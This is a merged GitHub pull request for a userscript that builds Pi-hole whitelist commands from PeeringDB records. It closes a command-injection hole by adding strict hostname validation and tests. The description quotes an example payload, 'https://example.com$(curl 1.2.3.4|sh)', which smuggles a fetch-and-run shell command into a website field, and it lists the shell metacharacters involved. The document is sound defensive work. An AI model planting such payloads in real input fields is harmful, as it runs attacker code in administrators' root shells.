Skip to content

fix(dp): validate hostnames before building the pihole command - #296

Merged
netravnen merged 1 commit into
dev-nextfrom
fix/dp-whitelist-hostname-validation
Aug 19, 2026
Merged

netravnen merged 1 commit into
dev-nextfrom
fix/dp-whitelist-hostname-validation

Conversation

@netravnen

Copy link
Copy Markdown
Contributor

The whitelist generator interpolated an unvalidated hostname into a
pihole allow command that an admin copies into a root shell. The value
comes from a PeeringDB record's website field, and
fetchPeeringDbObjectForWhitelist deliberately queries without a status
filter so pending records resolve -- so it is unapproved, attacker-
controllable input.

Parseability was doing the work of validation, and it cannot: the WHATWG
URL parser accepts "$(", backticks, ";", "|", "&&" and a double quote
inside a hostname, and buildWhitelistCommand wraps the result in weak
double quotes, which do not neutralise any of them. A submitted website of
https://example.com$(curl 1.2.3.4|sh) produced a routine-looking command
that executed the fetched script when pasted.

The catch branch made it worse rather than better: when the URL parser
threw, it fell back to slicing the raw string with no checking at all, so
the inputs least likely to be well-formed received the least scrutiny.

Changes:

  • Added WL_HOSTNAME_REGEX, a strict LDH check (a-z 0-9 and interior
    hyphens, at least two dot-separated labels, each 1-63 chars).
  • extractWhitelistHostname now returns "" for anything failing that check,
    and the string-slicing catch fallback is deleted rather than tightened.
  • deriveWhitelistCandidates re-validates its input and the psl.get()
    result. psl is @require'd from a CDN and is handed the same untrusted
    string, so its output is checked exactly like its input.
  • Exported deriveWhitelistCandidates on the test hooks so the full
    hostname -> candidates -> command chain can be asserted end to end.

Security:

  • Closes a command-injection path from unapproved submitter input to an
    admin's root shell. This was the highest-severity finding in the audit.
  • Refuses rather than escapes. Quoting the metacharacters would leave the
    command working for hostile input; there is no legitimate hostname that
    needs them, so the safe outcome is no command at all.
  • Verified end to end: the two payloads above now yield no command, while
    a valid host still produces the identical command as before.

Testing:

  • node --test from user.js/: 476 tests, 475 pass, 1 skipped (live tests
    are opt-in), up from 473/472.
  • Added cases for eight metacharacter payloads, single-label and
    trailing-dot hosts, and a full-chain case asserting that a refused
    hostname yields an empty command rather than a partial one.
  • Corrected an existing case that asserted the vulnerable behavior as
    correct ("unparseable input falls back to a best-effort strip"). That
    assertion is why the fallback read as intentional.
  • Confirmed the new tests are not vacuous: removing the validation makes
    three of them fail; restoring it returns 15/15.

Backwards Compatibility:

  • Valid hostnames are unaffected: bare hosts, full URLs, ports, paths,
    case folding and subdomains all behave exactly as before.
  • Behavior changes only for input that was never a valid hostname. Such a
    record now shows no whitelist command instead of a malformed one, which
    is the intended outcome.

Assisted-by: Claude:claude-opus-5


Stack created with GitHub Stacks CLI • Give Feedback 💬

Base automatically changed from fix/script-version-from-gm-info to dev-next August 19, 2026 22:27
The whitelist generator interpolated an unvalidated hostname into a
`pihole allow` command that an admin copies into a root shell. The value
comes from a PeeringDB record's `website` field, and
fetchPeeringDbObjectForWhitelist deliberately queries without a status
filter so `pending` records resolve -- so it is unapproved, attacker-
controllable input.

Parseability was doing the work of validation, and it cannot: the WHATWG
URL parser accepts "$(", backticks, ";", "|", "&&" and a double quote
inside a hostname, and buildWhitelistCommand wraps the result in weak
double quotes, which do not neutralise any of them. A submitted website of
`https://example.com$(curl 1.2.3.4|sh)` produced a routine-looking command
that executed the fetched script when pasted.

The `catch` branch made it worse rather than better: when the URL parser
threw, it fell back to slicing the raw string with no checking at all, so
the inputs least likely to be well-formed received the least scrutiny.

Changes:
- Added WL_HOSTNAME_REGEX, a strict LDH check (a-z 0-9 and interior
  hyphens, at least two dot-separated labels, each 1-63 chars).
- extractWhitelistHostname now returns "" for anything failing that check,
  and the string-slicing catch fallback is deleted rather than tightened.
- deriveWhitelistCandidates re-validates its input and the psl.get()
  result. psl is @require'd from a CDN and is handed the same untrusted
  string, so its output is checked exactly like its input.
- Exported deriveWhitelistCandidates on the test hooks so the full
  hostname -> candidates -> command chain can be asserted end to end.

Security:
- Closes a command-injection path from unapproved submitter input to an
  admin's root shell. This was the highest-severity finding in the audit.
- Refuses rather than escapes. Quoting the metacharacters would leave the
  command working for hostile input; there is no legitimate hostname that
  needs them, so the safe outcome is no command at all.
- Verified end to end: the two payloads above now yield no command, while
  a valid host still produces the identical command as before.

Testing:
- node --test from user.js/: 476 tests, 475 pass, 1 skipped (live tests
  are opt-in), up from 473/472.
- Added cases for eight metacharacter payloads, single-label and
  trailing-dot hosts, and a full-chain case asserting that a refused
  hostname yields an empty command rather than a partial one.
- Corrected an existing case that asserted the vulnerable behavior as
  correct ("unparseable input falls back to a best-effort strip"). That
  assertion is why the fallback read as intentional.
- Confirmed the new tests are not vacuous: removing the validation makes
  three of them fail; restoring it returns 15/15.

Backwards Compatibility:
- Valid hostnames are unaffected: bare hosts, full URLs, ports, paths,
  case folding and subdomains all behave exactly as before.
- Behavior changes only for input that was never a valid hostname. Such a
  record now shows no whitelist command instead of a malformed one, which
  is the intended outcome.

Assisted-by: Claude:claude-opus-5
@netravnen
netravnen force-pushed the fix/dp-whitelist-hostname-validation branch from bb31a20 to a402af7 Compare August 19, 2026 22:27
@netravnen
netravnen marked this pull request as ready for review August 19, 2026 22:28
@netravnen
netravnen merged commit dd37d17 into dev-next Aug 19, 2026
2 checks passed
@netravnen
netravnen deleted the fix/dp-whitelist-hostname-validation branch August 20, 2026 09:39
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant